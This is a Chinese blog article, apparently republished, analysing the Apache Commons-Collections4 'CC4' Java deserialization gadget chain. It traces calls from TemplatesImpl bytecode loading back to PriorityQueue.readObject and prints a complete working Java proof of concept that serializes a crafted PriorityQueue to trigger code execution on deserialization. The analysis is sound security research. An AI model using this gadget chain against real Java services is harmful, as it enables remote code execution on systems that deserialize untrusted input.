【代码审计】CC4链

admin 2026-07-14 05:26:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Java反序列化中的ApacheCommonsCollections4的CC4利用链。作者指出CC4链本质上是CC2链与CC3链的组合,其触发源点为PriorityQueue类的readObject方法,最终执行点为TemplatesImpl动态加载恶意字节码。文章通过逆向追踪方法调用,完整还原了从sink到source的调用路径,并给出了包含反射修改属性与序列化反序列化操作的完整可执行POC代码。该文对理解Java反序列化漏洞机制具有较高的参考价值。 综合评分: 75 文章分类: 代码审计,漏洞分析,漏洞POC


cover_image

【代码审计】CC4链

原创

十月的进阶之路 十月的进阶之路

十月的进阶之路

2026年6月6日 11:39 中国香港

在小说阅读器读本章

去阅读

Commons-Collections4 4.0

本文我们来介绍最后一条利用链CC4,由于在之前的文章中已经详细介绍过其他的利用链,而CC4链可以看做是CC3CC2的组合,source点使用的是CC2链中PriorityQueue类下的readObject方法,sink点为CC3链的TemplatesImpl动态恶意字节码加载,因此整体而言没有什么新奇的地方。我们来整体过一遍,详细的细节就不再重复。从TemplatesImpl中的内部类TransletClassLoader下的defineClass方法出发。

继续检索defineClass方法的相关引用,发现defineTransletClasses方法中存在defineClass方法的调用。

继续检索defineTransletClasses方法的相关引用,发现getTransletInstance方法中存在defineTransletClasses方法的调用。

继续检索getTransletInstance方法的相关引用,发现newTransformer方法中存在getTransletInstance方法的调用。

继续检索newTransformer方法的相关引用,发现TrAXFilter类下的构造函数中存在newTransformer方法的调用。

继续检索获取构造函数的相关代码,发现InstantiateTransformer类下的transform方法中存在getConstructor获取指定类的构造函数,因此我们可将TrAXFilter类作为input输入,同时将paramTypes(iParamTypes)赋值为Templates.classargs(iArgs)赋值为TemplatesImpl实例。

继续检索transform方法的相关引用,发现TransformingComparator类下的compare调用了transform方法,也就是前一篇文章中的CC2链中的一部分。

继续检索compare方法的上层引用,发现PriorityQueue类下的siftDownUsingComparator方法调用了compare方法。

继续检索siftDownUsingComparator方法的上层引用,发现PriorityQueue类下的siftDown方法调用了siftDownUsingComparator方法。

继续检索siftDown方法的上层引用,发现PriorityQueue类下的heapify方法调用了siftDown方法。

继续检索heapify方法的上层引用,发现PriorityQueue类下的readObject方法调用了heapify方法。

到此我们逆向分析了从sink点到source的整条链路,当然其中有一些判断条件需要满足,都在之前的文章中详细解释过,这里不再赘述,给出最后的完整代码。

package com.test;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.PriorityQueue;

import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.map.LazyMap;

public class App {
&nbsp; &nbsp; static class ZeroComparator implements Comparator<Object>, Serializable {
&nbsp; &nbsp; &nbsp; &nbsp; @Override
&nbsp; &nbsp; &nbsp; &nbsp; public int compare(Object o1, Object o2) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 0;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; public static void main(String[] args) throws Exception{

&nbsp; &nbsp; &nbsp; &nbsp; TemplatesImpl templatesImpl = new TemplatesImpl();

&nbsp; &nbsp; &nbsp; &nbsp; Field _name = TemplatesImpl.class.getDeclaredField("_name");
&nbsp; &nbsp; &nbsp; &nbsp; _name.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; _name.set(templatesImpl, "test");

&nbsp; &nbsp; &nbsp; &nbsp; byte[] code = Files.readAllBytes(Paths.get("Rce.class"));
&nbsp; &nbsp; &nbsp; &nbsp; byte[][] codes = {code};
&nbsp; &nbsp; &nbsp; &nbsp; Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
&nbsp; &nbsp; &nbsp; &nbsp; _bytecodes.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; _bytecodes.set(templatesImpl, codes);

&nbsp; &nbsp; &nbsp; &nbsp; TransformerFactoryImpl transformerFactoryImpl = new TransformerFactoryImpl();
&nbsp; &nbsp; &nbsp; &nbsp; Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
&nbsp; &nbsp; &nbsp; &nbsp; _tfactory.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; _tfactory.set(templatesImpl, transformerFactoryImpl);

&nbsp; &nbsp; &nbsp; &nbsp; // templatesImpl.newTransformer();

&nbsp; &nbsp; &nbsp; &nbsp; Transformer[] transformers = new Transformer[]{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new ConstantTransformer<>(TrAXFilter.class),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templatesImpl})
&nbsp; &nbsp; &nbsp; &nbsp; };

&nbsp; &nbsp; &nbsp; &nbsp; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

&nbsp; &nbsp; &nbsp; &nbsp; // chainedTransformer.transform("");

&nbsp; &nbsp; &nbsp; &nbsp; TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1),new ZeroComparator());

&nbsp; &nbsp; &nbsp; &nbsp; // transformingComparator.compare(1, 2);

&nbsp; &nbsp; &nbsp; &nbsp; PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
&nbsp; &nbsp; &nbsp; &nbsp; priorityQueue.add(1);
&nbsp; &nbsp; &nbsp; &nbsp; priorityQueue.add(2);

&nbsp; &nbsp; &nbsp; &nbsp; Field transformer = TransformingComparator.class.getDeclaredField("transformer");
&nbsp; &nbsp; &nbsp; &nbsp; transformer.setAccessible(true);
&nbsp; &nbsp; &nbsp; &nbsp; transformer.set(transformingComparator, chainedTransformer);

&nbsp; &nbsp; &nbsp; &nbsp; serialization_cc4(priorityQueue);
&nbsp; &nbsp; &nbsp; &nbsp; unserialization_cc4("./oob.bin");

&nbsp; &nbsp; }

&nbsp; &nbsp; public static void serialization_cc4(Object object) {

&nbsp; &nbsp; &nbsp; &nbsp; try {

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ObjectOutputStream oob = new ObjectOutputStream(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new FileOutputStream("./oob.bin")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oob.writeObject(object);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; oob.close();

&nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // TODO: handle exception
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

&nbsp; &nbsp; public static void unserialization_cc4(String path){

&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ObjectInputStream objectInputStream = new ObjectInputStream(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new FileInputStream(path)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectInputStream.readObject();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objectInputStream.close();

&nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // TODO: handle exception
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; }

}

到此为止,我们就结束了整个CC链系列的分析。下次再见咯,如果还有下次的话,byby~~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:十月的进阶之路 十月的进阶之路 十月的进阶之路《【代码审计】CC4链》

代码注入技术 网络安全文章

代码注入技术

文章总结: 本文系统梳理代码注入技术,按代码运行载体分为本地执行、远程注入和进程替换三大流派。远程注入细分为DLL注入与Shellcode注入,并对比了不同执行
评论:0   参与:  0